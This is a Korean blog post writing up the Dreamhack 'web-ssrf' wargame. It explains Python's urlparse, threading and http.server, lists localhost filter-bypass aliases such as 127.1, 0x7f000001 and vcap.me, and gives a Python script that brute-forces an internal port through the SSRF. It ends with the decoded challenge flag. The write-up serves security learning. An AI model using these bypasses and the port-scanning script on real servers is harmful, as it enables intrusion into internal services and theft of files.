워게임/web2

web-ssrf

maru_ 2026. 6. 29. 21:02

ssrf를 공부했으니, 관련 문제로 실습을 해보자.

 

문제 풀기전에, 문제에서 사용된 모듈들에 대해서 먼저 알아봐야겠다

 

urlparse

- 파이썬의 urllib.parse 모듈 안에 있는 함수

-  URL 문자열을 쪼개서 scheme, hostname, port, path, query 같은 구성요소로 나눠주는 함수

- URL을 구성요소별로 나눠서 검사하기 쉽게 만들어주는 함수

예를들어서,

from urllib.parse import urlparse

url = "https://example.com:8080/posts/3?sort=latest#comment"
parsed = urlparse(url)

print(parsed)

이런식으로 쓰면

보통 결과는

ParseResult(
    scheme='https',
    netloc='example.com:8080',
    path='/posts/3',
    params='',
    query='sort=latest',
    fragment='comment'
)


# netloc -> URL에서 네트워크 위치정보
#        -> 이 요청을 어느 서버/호스트로 보낼 건지 나타내는 부분

이런식으로 나눠진다.

그리고

from urllib.parse import urlparse

url = "https://example.com:8080/posts/3"sort=latest"
parsed = urlparse(url)

print(parsed.scheme)    # https
print(parsed.hostname)  # example.com
print(parsed.port)      # 8080
print(parsed.path)      # /posts/3
print(parsed.query)     # sort=latest

이런식으로 꺼내서 사용할 수 있다.

=> SSRF 방어 코드에서 urlparse를 쓰는 이유는, 사용자가 넣은 URL을 그냥 문자열로 대충 검사하는게 아니라

      URL 구조를 나눠서 확인하려고 쓰는 것!

 

threading 모듈

- 여러 작업을 동시에 실행하는 것처럼 해주는 파이썬 모듈

- 하나의 프로그램 안에서 여러 "작업 흐름"을 나눠서 돌리게 해주는 도구

- 파이썬 프로그램 안에서 여러 일을 동시에 돌리기 위한 도구

예를들어서, 원래 코드는 보통 위에서 아래로 한 줄씩 실행됨!

print("A")
print("B")
print("C")

#1. A 실행
#2. B 실행
#3. C 실행

이런식으로 하나씩 순서대로

근데, threading을 쓰면

import threading
import time

def task1():
	while True:
    	print("작업 1")
        time.sleep(1)

def task2():
	while True:
    	print("작업 2")
        time.sleep(1)
        
        
t1 = threading.Thread(target=task1)
t2 = threading.Thread(target=task2)

t1.start()
t2.start()

이런식으로, sleep으로 현재 작업 thread를 잠깐 멈추고 그 사이에 또 스케줄링으로 다음 thread 시작하고 이런식으로 여러개를 동시에 돌아가는 것 처럼 해줌

위 코드는 흐름으로 보면

task1 실행
→ 1 출력
→ task1이 sleep(1)로 잠깐 쉼

그 사이 task2 실행
→ 2 출력
→ task2도 sleep(1)로 잠깐 쉼

다시 task1 깨어남
→ 1 출력
→ 쉼

다시 task2 깨어남
→ 2 출력
→ 쉼

이런식이다.

 

http.server 모듈

- 파이썬 기본 내장 모듈

- 간단한 HTTP 웹 서버를 빠르게 띄울 수 있게 해주는 모듈

- 간단한 파일 서버나 테스트용 HTTP 서버에 가까움

예를들어서

터미널에서

python3 -m http.server 8000

이렇게 하면 현재 디렉터리 기준으로 웹 서버가 켜지고

만약 현재 디렉터리에 

index.html
image.png
test.txt

이런 파일이 있으면

브라우저에서는 

http://127.0.0.1:8000/index.html
http://127.0.0.1:8000/image.png
http://127.0.0.1:8000/test.txt

이런식으로 접근할 수 있음

-> 즉, 현재 폴더를 웹으로 열어주는 느낌?

코드로도 만들 수 있음,,

from http.server import HTTPServer, BaseHTTPRequestHandler

class MyHandler(BaseHTTPRequestHandler):
   def do_GET(self):
       self.send_response(200)
       self.send_header("Content-Type", "text/plain")
       self.end_headers()
       self.wfile.write(b"Hello from http.server")

server = HTTPServer(("127.0.0.1", 8000), MyHandler)
server.server_forever()

HTTPServer → 서버 자체를 생성하는 클래스
BaseHTTPRequestHandler → 요청이 들어왔을 때 어떻게 처리할지 정하는 클래스
do_GET() → GET 요청이 들어왔을 때 실행되는 메서드
send_response() → HTTP 상태 코드 보내기
send_header() → HTTP 헤더 보내기
end_headers() → 헤더 끝났다고 표시하기
wfile.write() → 응답 본문 보내기

근데, 이거 Flask로 하면 간단함,,^

@app.route("/")
def index():
	return "Hello"

 

SSRF 공부할 때 http.server는,,

종종 외부 서버 역할이나 내부 서버 역할을 간단히 만들 때 사용함

또는,

SSRF가 실제로 요청을 보냈는지 확인하려고 간단한 서버를 띄워두기도 함

 

* URL 필터링 우회 *

127.0.01과 매핑된 도메인 이름 사용하기

-> 도메인 이름을 구매하면, 이를 DNS 서버에 등록해서 원하는 IP주소와 연결할 수 있음

-> 이러면, 이후에 등록한 이름이 IP 주소로 Resolve됨

--> 임의의 도메인 이름 구매해서 해당 IP 주소와 연결해서 그 이름을 사용해서 필터링 우회하는 방법

---> 127.0.01은 이미 매핑된 "*.vcap.me"를 활용하는 방법도 있음

 

127.0.0.1의 alilas 이용하기

-> 하나의 IP는 여러 방식으로 표기 가능

예를들어서 127.0.0.1 은

- 각 자릿수를 16진수로 변환한 0x7f.0x00.0x00.0x01에서 . 제거한 0x7f000001

- 10진수로 풀어 쓴 2130706433

- 각 자리 0을 생략한 127.1 , 127.0.1 

 

localhost의 alias 이용하기

-> URL에서 호스트와 스키마는 대소문자를 구분하지 않음

-> 따라서, "localhost"의 임의 문자를 대문자로 바꿔도 같은 호스트를 의미함

http://vcap.me:8000/
http://0x7f.0x00.0x00.0x01:8000/
http://0x7f000001:8000/
http://2130706433:8000/
http://Localhost:8000/
http://127.0.0.255:8000/

이렇게 필터링 우회해서 사용 가능

 

[문제 풀이]

일단 문제코드를 살펴보면,,

try:
    FLAG = open("./flag.txt", "r").read()  # Flag is here!!
except:
    FLAG = "[**FLAG**]"

일단, 문제의 flag가 현재 디렉터리의 /flag.txt에 있다고 한다,,

그럼 저기에 접근을 해서 flag를 찾아야 하는데

어떻게 해야할까..?

아래 코드들을 쭉 살펴보면

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

 

코드 흐름 자체를 정리해보면

사용자가 URL을 입력 -> img_viewer 에서 url을 받고 -> 서버가 requests.get(url)을 실행 ->

이에 대한 응답값을 base64인코딩해서 브라우저에 출력

이렇게 된다.

여기서

POST요청으로 

url = request.form.get("url", "") -> 요청 폼에 url을 그대로 받아오지만

아래에 보면 "localhost", "127.0.0.1"에 대한 필터링이 존재하는 걸 볼 수 있다.

그리고 아래에 try구문을 보면

try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")

 

url이 그대로 request.get으로 전달되는 걸 볼 수 있는데,

그럼 만약 단순히 "localhost", "127.0.0.1" 이 2개만 필터링이 걸려있고, 이 필터링을 우회한다면 결국 SSRF 취약점이 발생할 수 있을 거 같다.

그리고 아래에 코드를  살펴보면

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)


def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())

 http.server를 이용해서 내부 서버를 열어주는 것을 볼 수 있는데, 

http.server.SimpleHTTPRequestHandler

-> 위에 모듈에 대해서 알아볼  때 공부했듯이, 현재 실행 중인 디렉터리의 파일들을 HTTP로 제공해주기 때문에 이를 이용해서 flag.txt에 접근 가능할 것이다..!

근데, 보면 host = 127.0.0.1이고, port가 랜덤이라,

host 필터링을 우회해줘야하고

이건 127.1 로 우회해줬다

port도 찾아야 되는 것 같다.. 포트는 범위가 300개 정도니까,,, brute force로 찾아야겠다,,

[brute_force 코드]

import requests

TARGET = "http://host3.dreamhack.games:23220"

# 실패할 포트로 요청해서 error.png 응답을 저장
error_response = requests.post(
    TARGET + "/img_viewer",
    data={"url": "http://127.1:1/"}  #POST 요청의 body에 들어가는 폼 데이터
).text

# 1500~1800 포트를 하나씩 시도
for port in range(1500, 1801):
    payload = f"http://127.1:{port}/"

    response = requests.post(
        TARGET + "/img_viewer",
        data={"url": payload},
        timeout=5
    ).text

    # 3. 실패 응답과 다르면 내부 서버가 열린 포트일 가능성이 높음
    if response != error_response:
        print("찾았다!")
        print("port:", port)
        print("payload:", payload)
        break

1. 일단 실패할 포트로 error.png 응답 하나를 저장하고

2. 뒤에 port를 브루트포싱 하면서 error응답이랑 비교해서

3. 다른 게 열린 포트일 가능성이 높으니 이렇게 코드를 짜서 돌려보면

이렇게 포트를 찾았고, 해당 포트와 host 우회를 이용해서

요청을 보내보면

이렇게 img로 base64 인코딩 된 값이 나오는 걸 볼 수 있고, 이걸 다시 디코딩 해보면

REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9

-> DH{43dd2189056475a7f3bd11456a17ad71}
이렇게 나오는 걸 볼 수 있다,,!!

 

정리를 해보면,

1. 필터링이 걸려있었지만, 단순 문자열 필터링으로 우회가 가능했고

2. request.get 으로 url을 그냥 서버에 요청하고 있다는 점

--> SSRF가 가능했고

3. http.server 모듈을 통해 내부 서버를 열어주고 있기에, 이를 이용해 flag.txt에 접근이 가능했다

이렇게 3가지 주요 취약점을 활용해 풀 수 있는 문제 였다,,!

'워게임 > web2' 카테고리의 다른 글

csrf-2  (0) 2026.06.05
csrf-1  (0) 2026.06.04
xss-2  (0) 2026.06.02
xss-1  (0) 2026.05.28
session-basic (dream hack)  (0) 2026.05.15